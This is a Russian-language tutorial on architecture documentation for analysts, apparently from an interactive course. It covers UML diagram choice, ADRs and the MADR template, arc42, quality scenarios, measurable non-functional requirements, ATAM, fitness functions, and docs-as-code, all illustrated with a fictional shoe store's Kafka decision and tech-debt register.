    Три строки. Схема контейнеров, динамическая схема и схема развёртывания обновятся сами. Глеб на ревью спрашивает: «А если рекомендации тормозят, страница ждёт?» — и этот вопрос задаётся до выкатки, а не после пятничной аварии.

    Задание: какой инструмент взять

    Решено 0 из 0.

    глава 6 · схемы аналитика какая диаграмма ответит на вопрос

    C4 отвечает на вопрос «из чего состоит система». Но у аналитика вопросов больше: в каком порядке сервисы вызывают друг друга, какие статусы бывают у заказа, какие таблицы связаны. Для этого есть другие схемы.

    UML (Unified Modeling Language, унифицированный язык моделирования) — стандартный язык схем для программных систем. В версии UML 2.5.1 четырнадцать видов диаграмм. Аналитику на практике хватает четырёх-пяти: последовательностей, деятельности, состояний, развёртывания и иногда классов. Для модели данных обычно берут ER-диаграмму (entity–relationship, «сущность — связь») — она не входит в UML, но понятна всем.
    ящик с инструментами. Молотком можно забить и шуруп, но отвёрткой быстрее и надёжнее. Вопрос «в каком порядке» решает одна схема, вопрос «какие бывают статусы» — другая. Нарисовать всё на одной — это забивать шурупы молотком.

    Вопрос → диаграмма

    Если вопрос звучит так……рисуйтеПример для «Ботинка»
    Кто кого вызывает и в каком порядке в одном сценарии? Что вернётся при таймауте?Последовательностей (sequence)Оформление заказа: браузер → сервис заказов → банк → Kafka
    Какие шаги у процесса, где развилки, что идёт параллельно, кто что делает?Деятельности (activity) или BPMN для бизнес-процессовВозврат товара: проверка, развилка «брак / не подошёл размер», возврат денег
    Какие статусы бывают у объекта и какие переходы разрешены?Состояний (state machine)Заказ: новый → оплачен → отправлен → доставлен; новый → отменён
    Где что запущено: серверы, зоны, сколько копий?Развёртывания (deployment) — или C4 deploymentКластер Kubernetes в двух зонах, управляемый PostgreSQL
    Какие сущности храним, какие у них поля, как связаны «один ко многим»?ER-диаграммаПокупатель 1 — N Заказ 1 — N Позиция заказа N — 1 Товар
    Из каких частей система и с кем связана?C4: контекст и контейнерыГлава 3
    Как устроены классы внутри модуля?Классов (class) — лучше сгенерировать из кодаC4 уровень 4 из главы 3

    Как они выглядят в тексте

    Все примеры — в виде кода Mermaid или PlantUML: так их можно хранить рядом со спецификацией. Выберите вид схемы.

    Главная схема аналитика — последовательности. Пройдите её

    Оформление заказа Анны. Стрелки идут сверху вниз по времени. Нажимайте «Дальше» — под схемой появится пояснение шага и что будет, если на нём всё сломается. Такая схема в постановке снимает половину вопросов разработчика.

    Задание: какая диаграмма ответит на вопрос?

    Решено 0 из 0.

    глава 7 · ADR одно решение — одна страница

    Вернёмся к вопросу Глеба. Схемы C4 отвечают, что есть в системе. Но ни одна схема не ответит, почему там Kafka, а не RabbitMQ. Для этого нужна запись решения.

    Запись архитектурного решения (Architecture Decision Record, ADR) — короткий документ на одну-две страницы про одно решение: в какой ситуации его принимали, какие варианты рассматривали, что выбрали, почему и чем за это платим. Формат предложил Майкл Найгард (Michael Nygard) в 2011 году.
    протокол семейного совета «почему купили дом за городом»: ездить дольше, зато дети на воздухе и ипотека меньше. Через пять лет кто-то скажет: «Зачем мы тут живём?» Протокол напомнит причины — и покажет, изменилось ли что-то с тех пор. Дети выросли и уехали учиться? Значит, решение можно пересмотреть — осознанно.

    Когда писать ADR, а когда нет

    Пишем

    Решение архитектурное: его дорого отменить, и оно ограничивает будущие решения. Выбор брокера сообщений. «У каждого сервиса своя база». Синхронное или асинхронное взаимодействие. Способ аутентификации. Формат ошибок во всех API. Отказ от очевидного варианта — тоже решение, и его тоже записывают.

    Не пишем

    Имя переменной, версия библиотеки, стиль кода, выбор между двумя равноценными способами сделать задачу на полдня. То, что откатывается за час и ничего не запрещает, — не архитектура. Если на каждую мелочь писать ADR, журнал превратится в кладбище из главы 1.

    Пять правил ADR

    1. Одно решение — одна запись

    Не «архитектура сервиса заказов», а «брокер для событий о заказах». Тогда запись можно найти, сослаться на неё и заменить.

    2. Принятую запись не переписывают

    Решение поменялось — пишут новую запись. Старая получает статус «заменено ADR-0023». История «почему мы передумали» ценнее последней версии.

    3. Номер навсегда

    ADR-0007 — это всегда про Kafka. Номера не переиспользуют, даже у отклонённых записей.

    4. В репозитории, рядом с кодом

    Папка docs/decisions/, файл 0007-kafka-dlya-sobytiy-zakazov.md. Правится через пул-реквест, ревью — как у кода. Решение и код, который его реализует, попадают в один пул-реквест.

    5. Коротко и честно о цене

    Раздел «Последствия» с минусами — главный. Запись без минусов — это реклама, а не решение.

    Инструменты

    Хватит текстового редактора. Есть и помощники: adr-tools (Нэт Прайс) создаёт файлы с номерами и связывает «заменяет / заменено»; Log4brains собирает журнал в сайт.

    Статусы записи

    Статусы взяты из шаблона MADR (о нём ниже). У каждой записи один статус в каждый момент времени.

    предложено
    proposed — черновик на обсуждении. Открыт пул-реквест, собираются комментарии.
    принято
    accepted — решение действует. Пул-реквест влит.
    отклонено
    rejected — обсудили и не приняли. Запись не удаляют: она объясняет, почему это предложение уже не надо приносить снова.
    устарело
    deprecated — решение больше не действует, а замены у него нет (например, функцию убрали целиком).
    заменено ADR-0023
    superseded by — на смену пришла новая запись. Читатель сразу переходит по ссылке к действующей.

    Шаблон MADR

    MADR (Markdown Architectural Decision Records) — самый распространённый шаблон ADR в Markdown. Актуальная версия — 4.0.0 (2024). Обязательны только три раздела: контекст и проблема, рассмотренные варианты, решение. Остальные — по желанию, но «Последствия» есть почти в каждой хорошей записи.
    ---
    status: proposed | rejected | accepted | deprecated | superseded by ADR-0123
    date: 2024-09-12
    decision-makers: кто принимал решение
    consulted: с кем советовались (двусторонний разговор)
    informed: кого известили (в одну сторону)
    ---
    # Короткое название: проблема и выбранное решение
    
    ## Context and Problem Statement   ← контекст и проблема (обязательно)
    ## Decision Drivers                ← драйверы: по каким критериям выбираем
    ## Considered Options              ← рассмотренные варианты (обязательно)
    ## Decision Outcome                ← что выбрали и почему (обязательно)
    ### Consequences                  ← последствия: «хорошо, потому что…», «плохо, потому что…»
    ### Confirmation                  ← как проверим, что решение соблюдается
    ## Pros and Cons of the Options    ← плюсы и минусы каждого варианта
    ## More Information                ← ссылки, связанные решения, когда пересмотреть

    Заголовки разделов команды обычно переводят на свой язык. Главное — чтобы у всех записей была одна структура: тогда их читают быстро.

    Та самая запись: ADR-0007

    Вот что Глеб мог бы прочитать в среду вместо 340 сообщений чата.

    ---
    status: accepted
    date: 2024-09-12
    decision-makers: Вера (архитектор), Борис (техлид команды заказов)
    consulted: Олег (аналитик), Ирина (эксплуатация)
    informed: команды склада, уведомлений и аналитики
    ---
    # ADR-0007. Брокер для событий о заказах — Apache Kafka (свой кластер)
    
    ## Контекст и проблема
    Сервис заказов сам вызывает склад, уведомления и аналитику по HTTP,
    по очереди. Когда склад тормозит, заказ оформляется 4 секунды,
    а когда падают уведомления — заказ не создаётся вовсе. Нужен посредник:
    заказ публикуется один раз, а читают его все, кому нужно.
    
    ## Драйверы решения
    * Аналитика перечитывает события за последние 30 дней, когда меняет
      расчёт отчёта.
    * Три потребителя читают один поток независимо, каждый в своём темпе;
      через год ждём ещё два.
    * Порядок событий одного заказа важен: «оплачен» не раньше «создан».
    * Пик — 400 событий в секунду в распродажу; рост втрое за два года.
    * В эксплуатации два человека.
    
    ## Рассмотренные варианты
    * Apache Kafka, свой кластер
    * RabbitMQ, классические очереди
    * Таблица событий в PostgreSQL, которую опрашивают потребители
    
    ## Решение
    Выбрали Apache Kafka. Она хранит события заданный срок независимо от
    того, прочитали их или нет, и у каждого потребителя своя позиция чтения.
    Ключ сообщения — номер заказа: события одного заказа идут по порядку.
    
    ### Последствия
    * Хорошо: аналитика перечитывает историю сама, без выгрузок.
    * Хорошо: новый потребитель подключается без правок сервиса заказов.
    * Плохо: кластер Kafka — новая сложная система для двух человек
      эксплуатации.
    * Плохо: нет отложенной доставки — для писем «через час после заказа»
      нужен отдельный механизм.
    * Плохо: полгода команда учится (партиции, группы потребителей, смещения).
    
    ### Подтверждение
    Нагрузочный тест раз в квартал: 1 200 событий/с, задержка доставки
    p99 < 1 с. Ответственный — Борис.
    
    ## Плюсы и минусы вариантов
    ### RabbitMQ, классические очереди
    * Хорошо: проще в эксплуатации, гибкая маршрутизация, есть опыт в команде.
    * Плохо: сообщение удаляется после подтверждения. Для перечитывания
      за 30 дней нужно отдельное хранилище. Потоки RabbitMQ Streams умеют
      перечитывать, но опыта с ними у команды нет.
    ### Таблица в PostgreSQL
    * Хорошо: ничего нового, транзакция вместе с заказом.
    * Плохо: при 400 событиях/с и пяти потребителях опрос нагружает основную базу.
    
    ## Дополнительно
    Связано: ADR-0004 (у каждого сервиса своя база).
    Пересмотреть: если эксплуатация уменьшится или аналитика откажется от перечитывания.
    Посмотрите на последнюю строку. «Пересмотреть, если…» — подарок будущему читателю. Через год не нужно гадать, актуально ли решение: достаточно проверить два условия.

    Интерактив: соберите ADR из фраз

    Перед вами фразы из обсуждения в чате. Разложите их по разделам записи. Нажмите на фразу, чтобы выбрать её, потом «+ сюда» у нужного раздела. Ошиблись — нажмите на фразу в разделе, и она вернётся. Некоторым фразам в ADR не место вовсе: для них есть корзина «Не для ADR».

    Через год: журнал решений

    Журнал решений (decision log) — все ADR проекта по порядку номеров, со статусами и связями между собой. Читают его сверху вниз, как историю: что решили, что потом поменяли и почему.

    Прошёл год. Пройдите по шагам, как менялся журнал «Ботинка». Следите за статусами и связями: решения не живут поодиночке.

    Какие бывают связи. «Заменяет / заменено» — новое решение отменяет старое. «Уточняет» — новое решение дополняет старое, не отменяя (ADR-0009 про outbox уточняет, как публиковать в Kafka). «Связано с» — решения опираются друг на друга. Связи пишут в обеих записях, чтобы из любой можно было перейти в другую.

    глава 8 · arc42 двенадцать полок для документа архитектуры

    Схемы C4 есть, журнал ADR есть. Но куда положить ограничения («данные только в России»), требования к качеству, риски, словарь терминов? Чтобы не изобретать структуру заново, берут готовый шаблон.

    arc42 — бесплатный шаблон документа архитектуры из двенадцати разделов. Его авторы — Гернот Штарке (Gernot Starke) и Петер Хрушка (Peter Hruschka). Шаблон говорит не «как рисовать», а «что куда положить»: у каждого раздела свой вопрос и свой читатель. Все разделы необязательны — заполняют то, что нужно.
    шкаф с подписанными полками: «зимнее», «документы», «инструменты». Вещей может быть немного, но каждая знает своё место. Нужную находят за минуту, не перерывая весь шкаф. А новый жилец сразу понимает, где что искать.

    Интерактив: навигатор по разделам

    Нажмите на раздел: что туда писать, для кого, пример для «Ботинка» и частая ошибка. Кнопка «★ Минимальная версия» подсветит разделы, с которых стоит начать, если времени мало.

    Минимально жизнеспособная версия. Для небольшой системы достаточно семи разделов на 5–10 страниц: цели (1), контекст (3), стратегия (4), строительные блоки до уровня контейнеров (5), решения — ссылкой на журнал ADR (9), риски и долг (11), словарь (12). Остальные дописывают, когда появится читатель с соответствующим вопросом. Пустой раздел лучше выдуманного.
    Как arc42 связан с C4 и ADR. Они не соперники, а части одного целого. Схема контекста C4 — это раздел 3. Схемы контейнеров и компонентов — раздел 5. Динамические схемы — раздел 6. Схема развёртывания — раздел 7. Журнал ADR — раздел 9. Сценарии качества из следующей главы — раздел 10.

    Задание: на какую полку?

    Решено 0 из 0.

    глава 9 · качество атрибуты качества и сценарии: как записать «хорошо»

    Глеб задал ещё один вопрос: «Какое время ответа считается нормальным для оформления заказа?» Борис сказал «секунда», Олег — «быстро», Вера когда-то говорила «как у конкурентов». Три ответа — значит, ответа нет. Эта глава про то, как записать «хорошо» так, чтобы его можно было проверить.

    Атрибут качества (quality attribute) — измеримое свойство системы, которое показывает, насколько хорошо она делает свою работу: быстро ли, надёжно ли, защищённо ли, легко ли её менять. Функции говорят, что делает система. Атрибуты качества — как.
    две кофейни варят одинаковый капучино — функция одна. Но в одной его отдают за две минуты, а в другой за пятнадцать. Одна работает без выходных, другая «закрыта по техническим причинам». Выбирают кофейню по атрибутам качества, а не по меню.

    Стандарт ISO/IEC 25010:2023 — коротко

    Чтобы не забыть ни одно свойство, берут готовый список из международного стандарта. Текущая редакция вышла в 2023 году. В ней девять характеристик качества продукта, у каждой — подхарактеристики. В разделе «Зачем архитектура» те же свойства переведены на язык постановок и разобраны подробно.

    Функциональная пригодность

    Полнота, корректность, уместность функций. «Скидка считается правильно».

    Производительность

    Временные характеристики, использование ресурсов, ёмкость. «p95 оформления ≤ 800 мс».

    Совместимость

    Сосуществование с другими системами, взаимодействие с ними. «Подключаемся к API банка».

    Способность к взаимодействию

    Бывшее «удобство использования»: обучаемость, защита от ошибок пользователя, инклюзивность и другое. «Форма не даёт ввести неверный индекс».

    Надёжность

    Безотказность, доступность, отказоустойчивость, восстанавливаемость. «99,9 % за месяц».

    Защищённость

    Конфиденциальность, целостность, неотказуемость, подотчётность, подлинность, стойкость к атакам. «Чужой заказ не выдаётся».

    Сопровождаемость

    Модульность, повторное использование, анализируемость, изменяемость, тестируемость. «Новый способ оплаты — за 10 дней».

    Гибкость

    Бывшая «переносимость»: адаптируемость, масштабируемость, устанавливаемость, заменяемость. «×5 нагрузки добавлением узлов».

    Безопасность для людей

    Новая характеристика (safety): система не создаёт угрозы людям, имуществу, среде. Важна для медицины, транспорта, промышленности.

    Что поменялось по сравнению с редакцией 2011 года. «Удобство использования» стало «способностью к взаимодействию» (interaction capability). «Переносимость» стала «гибкостью» (flexibility), и в неё добавили масштабируемость. Появилась девятая характеристика — безопасность для людей (safety). Не путайте её с защищённостью (security): защищённость — от злоумышленника, safety — от вреда людям.

    Сценарий качества: шесть частей

    Сценарий качества (quality attribute scenario) — одна проверяемая история о свойстве системы. Формат описан в книге «Software Architecture in Practice» (Басс, Клементс, Кацман) из Института программной инженерии SEI. В сценарии шесть частей: источник, стимул, артефакт, среда, реакция и мера реакции.
    жалоба в управляющую компанию, после которой ничего не надо переспрашивать: «Жилец квартиры 12 (источник) сообщил о протечке (стимул) трубы в подвале (артефакт) в выходной ночью (среда). Аварийная служба перекрывает воду (реакция) не позже чем через 40 минут после звонка (мера)».
    Источник
    Кто или что вызывает событие. До 5 000 покупателей одновременно в распродажу.
    Стимул
    Что именно происходит. Оформляют 300 заказов в минуту.
    Артефакт
    Какая часть системы затронута. Сервис заказов, операция «Оформить заказ».
    Среда
    В каких условиях. «Чёрная пятница», все узлы исправны, в базе 10 млн заказов.
    Реакция
    Что система должна сделать. Подтвердить заказ и вернуть его номер.
    Мера реакции
    Число, по которому проверяем. p95 ≤ 800 мс, p99 ≤ 2 с, ошибок ≤ 0,1 %.
    Проще говоря. Мера реакции — это то, что попадёт в нагрузочный тест и в мониторинг. Остальные пять частей нужны, чтобы тест проверял правильную вещь: не «страница на пустой базе ночью», а «оформление при 10 млн заказов в пик». Без среды и объёма почти любое число достижимо — и ничего не значит.

    Интерактив: конструктор сценария качества

    Выберите атрибут и соберите сценарий из шести частей. В каждой строке три формулировки: расплывчатая, полусырая и измеримая. Шкала покажет, насколько сценарий можно проверить, а под строкой появится подсказка, что не так с выбором.

    глава 10 · НФТ как аналитику писать измеримые нефункциональные требования

    Нефункциональное требование (НФТ, non-functional requirement) — требование не к тому, что делает система, а к тому, насколько хорошо: скорость, доступность, объём данных, защита, удобство сопровождения. Хорошее НФТ можно проверить тестом, замером или мониторингом. Сценарий качества из прошлой главы — самая полная форма НФТ.
    «хочу тёплую куртку» — пожелание. «Куртка, в которой не холодно час пешком при −25 °C и ветре 10 м/с» — требование: его можно проверить по этикетке в магазине и потом на улице. И продавец не сможет продать вам ветровку со словами «она тёплая».

    Было → стало

    Система должна быть быстрой.
    Поиск заказов в личном кабинете: p95 времени ответа < 300 мс при 500 запросах в секунду, когда в базе 10 млн заказов. Замер на стенде нагрузочного тестирования, окно 15 минут.
    «Быстро» для каждого своё. Среднее время скрывает хвост: при среднем 200 мс каждый двадцатый может ждать 6 секунд. Поэтому перцентиль (p95 — 95 % запросов быстрее этого числа), нагрузка и объём данных.
    Высокая доступность.
    Оформление заказа доступно ≥ 99,9 % времени за календарный месяц: доля успешных ответов (не 5xx) среди всех запросов. 99,9 % — это не больше ~43 минут недоступности в месяц.
    «Доступность» без окна измерения и без определения «успешного ответа» нельзя проверить. И важно, какой операции: каталог и оформление заказа могут иметь разные цели.
    Система должна быть масштабируемой.
    При росте нагрузки до 1 500 заказов в минуту (×5 к текущей) p95 оформления остаётся ≤ 800 мс за счёт добавления узлов, без изменения кода.
    Масштабируемость — это не «вообще», а «во сколько раз, каким способом и при каком качестве».
    Данные должны быть защищены.
    Телефоны и адреса покупателей хранятся в зашифрованном виде и маскируются в логах. Читать их могут только роли «поддержка» и «доставка»; каждое чтение пишется в журнал аудита.
    «Защищены» от кого и чего? Требование должно назвать данные, роли и то, что проверяется.
    Система должна быть удобной в сопровождении.
    Новый способ оплаты подключается ≤ 10 рабочих дней силами одной команды; меняется только модуль платежей — это проверяет архитектурный тест в сборке.
    Сопровождаемость меряют временем типовой правки и тем, сколько частей системы она задевает.

    Анатомия хорошего НФТ

    Почти любое измеримое требование к производительности или доступности собирается из одних и тех же кусочков:

    операцияпоиск заказов метрикавремя ответа, p95 порог и единица< 300 мс нагрузка500 запросов/с объём данных10 млн заказов условиявсе узлы исправны как и где меряемстенд, окно 15 мин

    SMART для требований

    S — конкретное

    Specific: какая операция, для кого. Не «система», а «оформление заказа».

    M — измеримое

    Measurable: число, единица, перцентиль. «p95 ≤ 800 мс», а не «быстро».

    A — достижимое

    Achievable: 99,999 % на одной базе в одной зоне не бывает. Нереальное требование все молча игнорируют.

    R — значимое

    Relevant: зачем это бизнесу. «Каждая секунда ожидания снижает конверсию» — повод; «хочется красивое число» — нет.

    T — ограниченное во времени

    Time-bound: за какой период меряем («за месяц», «окно 15 минут») и к какому сроку нужно («к распродаже»).

    Решение ≠ требование

    «Использовать Kubernetes», «Добавить Redis» — это не НФТ, а решения. Требование говорит, какой результат нужен; способ выбирает архитектор и записывает в ADR.

    Типовой набор НФТ

    Чек-лист, чтобы ничего не забыть в постановке. Нажмите на строку, чтобы раскрыть подсказку.

    Тренажёр: переформулируйте НФТ

    Слева — требование, как его написал заказчик. Выберите лучшую формулировку. Решено 0 из 0.

    Проверка на измеримость

    Напишите своё требование — или возьмите пример — и нажмите «Проверить». Проверка простая: она ищет расплывчатые слова, числа с единицами, перцентиль, нагрузку, объём и способ замера. Это не заменяет голову, но ловит типичные дыры.

    глава 11 · приоритеты и оценка дерево полезности и ATAM: что обсуждать первым

    Олег собрал сценарии качества. Их оказалось двадцать три. Все важные, на всё не хватит ни времени, ни денег. Нужен способ решить, о чём говорить в первую очередь.

    Дерево полезности (utility tree) — способ разложить слово «качество» на конкретные сценарии и расставить им приоритеты. Корень — «полезность системы». Ветви — атрибуты качества. Под ними — уточнения. Листья — сценарии качества. У каждого листа две оценки по шкале В/С/Н (высокая, средняя, низкая): важность для бизнеса и сложность (риск) реализации.
    ремонт на ограниченный бюджет. Список «хочу» длинный. Рядом с каждым пунктом пишете две пометки: насколько важно (без тёплого пола жить можно, без проводки — нет) и насколько трудно (покрасить стену просто, перенести санузел дорого и рискованно). Первым делом обсуждаете то, что и важно, и трудно: там ошибка стоит дороже всего.

    Интерактив: расставьте приоритеты

    Семь сценариев «Ботинка». Под каждым — что Олег узнал у бизнеса и у разработчиков. Поставьте важность и сложность. Справа сценарии лягут на матрицу, а ниже выстроятся в очередь обсуждения. Потом сравните свою оценку с оценкой команды.

    матрица: строки — важность, столбцы — сложность
    очередь обсуждения
      Дерево ИИ-системы. Как то же дерево выглядит у агента с языковой моделью — с ветками «правдивость», «стоимость» и «свежесть знаний» — в разделе
      Почему «важно и трудно» — первыми. Важное и простое сделают и так: это обычная работа. Неважное и трудное можно отложить. А ошибка в важном и трудном — это переделка архитектуры. Такие сценарии и разбирают на оценке архитектуры.

      ATAM — большая оценка архитектуры

      ATAM (Architecture Tradeoff Analysis Method — метод анализа компромиссов архитектуры) разработан в Институте программной инженерии (SEI) Университета Карнеги — Меллон. Архитектор, заказчик и другие заинтересованные лица вместе проходят по важным сценариям качества и ищут места, где архитектура может их не выполнить.
      техосмотр перед дальней поездкой. Мастер не чинит машину — он проверяет её под конкретный маршрут: «горный серпантин, пять человек, прицеп». И выдаёт список: тормоза — риск, шины — в порядке, от давления в шинах зависит расход и управляемость сразу.

      Что получается на выходе ATAM

      Риск

      Решение, которое может помешать выполнить сценарий. «Одна база PostgreSQL принимает все записи заказов — при 300 заказах в минуту она станет узким местом».

      Не-риск

      Решение, которое проверили, и оно выдерживает. «Каталог отдаётся из кеша; нагрузочный тест: 2 000 запросов/с с запасом ×5». Записывают, чтобы не проверять заново.

      Точка чувствительности

      (sensitivity point) Параметр, от которого сильно зависит один атрибут. «Число партиций темы заказов в Kafka ограничивает, сколько обработчиков работает параллельно».

      Точка компромисса

      (tradeoff point) Параметр, который влияет на несколько атрибутов в разные стороны. «Синхронная репликация базы во вторую зону: заказы не теряются, но каждая запись дольше на путь до второй зоны».

      Ещё один итог — темы рисков (risk themes): общие причины нескольких рисков. Например, «у команды нет опыта эксплуатации распределённых систем» — из этого растут три риска сразу, и лечить надо причину.

      Девять шагов ATAM

      Нажмите на шаг, чтобы раскрыть.

      Чем платим. Полный ATAM — это несколько дней работы десятка людей: архитекторы, заказчик, разработчики, эксплуатация, сторонние оценщики. Для банка или авиакомпании перед большим проектом это дёшево. Для интернет-магазина на восемь разработчиков — обычно слишком тяжело.

      Облегчённые ревью

      Ревью на два часа

      Архитектор показывает схему контейнеров и пять главных сценариев качества. Двое-трое ревьюеров идут по чек-листу. Итог — список рисков с владельцами и сроками.

      Risk storming

      Приём Саймона Брауна: каждый участник сам отмечает риски на схеме C4 стикерами разного цвета (высокий, средний, низкий). Потом риски сводят и обсуждают расхождения — где один видит красное, а другой зелёное.

      Ревью ADR в пул-реквесте

      Каждая запись в статусе «предложено» — это маленькое ревью: комментарии, вопросы, срок решения. Дёшево и постоянно.

      Чек-лист облегчённого ревью

      ☐ Есть схемы контекста и контейнеров, они совпадают с тем, что запущено.
      ☐ Для каждого внешнего вызова известны таймаут, повторы и поведение при отказе.
      ☐ У каждого хранилища понятен владелец; чужие базы напрямую не читают.
      ☐ Главные сценарии качества записаны числами, у каждого есть способ проверки.
      ☐ Понятно, что будет при отказе одной зоны или одного узла.

      ☐ Персональные данные: где лежат, кто читает, как маскируются в логах.
      ☐ Есть трассировка сквозного запроса и оповещения по главным операциям.
      ☐ Важные решения записаны в ADR, у спорных есть «пересмотреть, если…».
      ☐ Правила зависимостей проверяются в сборке.
      ☐ Реестр рисков и долга актуален: у каждой записи есть владелец.

      Задание: что это — риск, не-риск, точка чувствительности или компромисса?

      Решено 0 из 0.

      глава 12 · самопроверка документация, которая проверяет себя сама

      В ADR-0004 написано: «у каждого модуля свои данные, в чужие таблицы не ходим». Прошло полгода. Борис торопился к распродаже, и модуль платежей начал сам менять статус заказа прямо в таблице заказов. Никто не заметил: запись в ADR не умеет кричать. А через месяц миграция схемы заказов сломала платежи.

      Функция пригодности (fitness function) — любая автоматическая проверка, которая объективно говорит, соблюдается ли архитектурное свойство. Понятие ввели Нил Форд, Ребекка Парсонс и Патрик Куа в книге «Building Evolutionary Architectures» (2017; второе издание — 2022, вместе с Прамодом Садаладжем).
      датчик давления в шинах. Можно раз в год проверять давление у мастера — а можно поставить датчик, который пискнет в ту же минуту, как давление упадёт. Функция пригодности — такой датчик для архитектуры: правило из документа превращается в проверку, которая падает при нарушении.

      Какие бывают

      🧱 Структурные — архитектурные тесты

      Проверяют зависимости в коде: слои не перепрыгивают, модули не лезут в чужие внутренности, нет циклов. ArchUnit (Java), ArchUnitNET и NetArchTest (.NET), dependency-cruiser (JavaScript и TypeScript), import-linter (Python), проверка модулей в Spring Modulith. Запускаются как обычные тесты.

      ⏱ Операционные — в конвейере

      Нагрузочный тест с порогом: «p95 оформления ≤ 800 мс при 300 заказах в минуту», иначе сборка красная. Сюда же размер образа, время старта, время сборки.

      📈 Непрерывные — в продакшене

      Цели уровня обслуживания (SLO) и бюджет ошибок в мониторинге: «доля успешных оформлений за 30 дней ≥ 99,9 %». Проверяются не при сборке, а всё время.

      🔐 Защищённость

      Сканирование зависимостей на известные уязвимости, поиск секретов в коде, проверка заголовков безопасности. Падает сборка — а не репутация.

      Как это выглядит в коде

      Выберите инструмент. Во всех примерах — правила «Ботинка»: слои, границы модулей, отсутствие циклов, порог производительности.

      Интерактив: конвейер, который ловит нарушения

      Это сборка сервиса заказов. Слева — модули и зависимости между ними. Справа — этапы конвейера. Выберите изменение, которое прислал Борис, и нажмите «▶ Запустить сборку». Правила можно отключать переключателями — и посмотреть, что будет, если датчика нет.

      изменение в пул-реквесте
      включённые проверки
      
          
      Что вы увидите. С включёнными правилами каждое нарушение останавливает сборку за минуты — ещё до ревью. Отключите правило и запустите то же изменение: сборка станет зелёной, а под ней появится рассказ, чем это кончится через несколько месяцев. Изменение ⑤ проходит всегда: правила не мешают обычной работе.
      Проще говоря. Схема C4 и ADR говорят, как должно быть. Архитектурный тест проверяет, как есть. Если они расходятся, сборка красная — и документация перестаёт тихо врать. Хорошая привычка: в разделе «Подтверждение» каждого ADR писать, какой тест или метрика следит за решением.

      глава 13 · где живут документы docs-as-code, дизайн-документы и реестры долга и рисков

      Документация как код (docs as code) — документы пишут в текстовых форматах (Markdown, AsciiDoc), хранят в том же git-репозитории, что и код, меняют через пул-реквесты с ревью, а сайт документации собирается автоматически в конвейере сборки.
      тетрадь рецептов на кухне ресторана. Повар вписывает изменение сразу, как поменял рецепт, а шеф проверяет. Сравните с папкой у директора, которую обновляют раз в год перед проверкой: в тетради правда, в папке — история.

      Как это устроено в «Ботинке»

      botinok/
      ├── services/ …                          код сервисов
      ├── docs/
      │   ├── arc42/
      │   │   ├── 01-vvedenie-i-tseli.md
      │   │   ├── 03-kontekst.md
      │   │   └── …
      │   ├── decisions/                       журнал ADR
      │   │   ├── 0004-svoya-baza-u-kazhdogo-servisa.md
      │   │   ├── 0007-kafka-dlya-sobytiy-zakazov.md
      │   │   └── 0023-upravlyaemaya-kafka.md
      │   ├── diagrams/workspace.dsl           модель C4 (глава 5)
      │   ├── rfc/0012-vozvraty.md             дизайн-документы
      │   ├── risks.md                         реестр рисков
      │   └── tech-debt.md                     реестр технического долга
      ├── mkdocs.yml                           настройки сайта документации
      └── .github/workflows/docs.yml           проверка и сборка документации

      Проверка документации в конвейере выглядит так же, как проверка кода. Пример для GitHub Actions (номера версий действий сверяйте на момент внедрения):

      name: docs
      on:
        pull_request:
          paths: ["docs/**", "mkdocs.yml"]        # запускать, только если менялась документация
      jobs:
        docs:
          runs-on: ubuntu-latest
          steps:
            - uses: actions/checkout@v4
            - uses: DavidAnson/markdownlint-cli2-action@v16   # правила оформления Markdown
              with: { globs: "docs/**/*.md" }
            - uses: lycheeverse/lychee-action@v2             # битые ссылки внутри docs/
              with: { args: "--offline docs" }
            - run: pip install mkdocs && mkdocs build --strict # сборка сайта; предупреждение = ошибка

      Ревью как у кода

      Меняется архитектура — в том же пул-реквесте меняются workspace.dsl и ADR. Шаблон пул-реквеста спрашивает: «Затронута ли архитектура? Обновлены ли схемы?»

      Сайт из репозитория

      MkDocs, Docusaurus, Antora (для AsciiDoc) или TechDocs в Backstage собирают из Markdown сайт с поиском. Для arc42 на AsciiDoc есть готовая сборка docToolchain.

      Готово = задокументировано

      В «определение готовности» задачи входит: новый контейнер есть на схеме, новая интеграция — в разделе контекста, спорное решение — в ADR.

      RFC и дизайн-документ: подумать до того, как строить

      Дизайн-документ (design doc), или RFC (request for comments — «запрос комментариев»), — документ на 3–10 страниц, который пишут до большой работы, чтобы коллеги нашли дыры в идее, пока её дёшево менять. ADR фиксирует одно решение. Дизайн-документ описывает целое изменение и обычно рождает несколько ADR. В крупных компаниях это обязательный шаг: в Google пишут design docs, во многих других компаниях процесс называется RFC.
      план перепланировки квартиры, который показывают соседям и в управляющую компанию до того, как ломать стену. Сосед скажет, что в этой стене идёт общий стояк, — и это дешевле узнать на бумаге, чем с перфоратором в руках.

      Олег пишет RFC «Возвраты товаров». Пройдите путь документа от черновика до решения.

      Шаблон дизайн-документа

      # RFC-0012. Возвраты товаров
      Статус: черновик | на ревью | принят | отклонён | реализован
      Автор: Олег · Ревьюеры: Борис, Ирина, Глеб · Комментарии до: 14 ноября
      
      1. Контекст и рамки          что происходит сейчас и почему надо менять
      2. Цели и не-цели            что сделаем; что сознательно НЕ делаем
      3. Предлагаемое решение      схема контейнеров C4, сценарии, API, данные
      4. Рассмотренные альтернативы и почему от них отказались
      5. Сквозные вопросы          защищённость, персональные данные, наблюдаемость, миграция
      6. Требования к качеству     сценарии качества с числами
      7. Риски и открытые вопросы
      8. План внедрения и отката
      9. Будущие ADR               какие решения этот документ зафиксирует
      Самый недооценённый раздел — «не-цели». «Частичный возврат одного товара из заказа — не делаем в этой версии» экономит неделю споров на ревью и месяц работы, которую никто не просил.

      Реестр технического долга

      Технический долг (technical debt) — упрощения, сознательные или случайные, из-за которых каждое следующее изменение стоит дороже. Метафору предложил Уорд Каннингем (Ward Cunningham) в 1992 году. Как у кредита: тело — сколько стоит исправить, проценты — сколько лишнего времени команда платит каждый месяц, пока долг не погашен.
      вы не починили протекающий кран, «потом». Тело долга — вызвать сантехника за 3 000 ₽. Проценты — лишние кубометры воды каждый месяц и риск залить соседей. Пока проценты малы, жить можно. Но их надо видеть.
      №ДолгПроценты: во что обходитсяТело: сколько исправлятьКак появилсяВладелец · пересмотр
      TD-03Сервис уведомлений читает базу заказов напрямуюКаждая миграция схемы заказов ломает письма: ~2 дня в месяц5 дней: перейти на события из KafkaОсознанно, к распродаже 2024Борис · 1 декабря
      TD-05Нет сквозной трассировкиПричину сбоя ищут 3 часа вместо 15 минут3 недели на шесть сервисовСлучайно: «потом добавим»Ирина · 15 ноября
      TD-07Цены хранятся в числах с плавающей точкойКопейки расходятся в отчётах, ручная сверка ~4 часа в месяц8 дней: миграция в целые копейкиСлучайно, первая версияОлег · 1 января

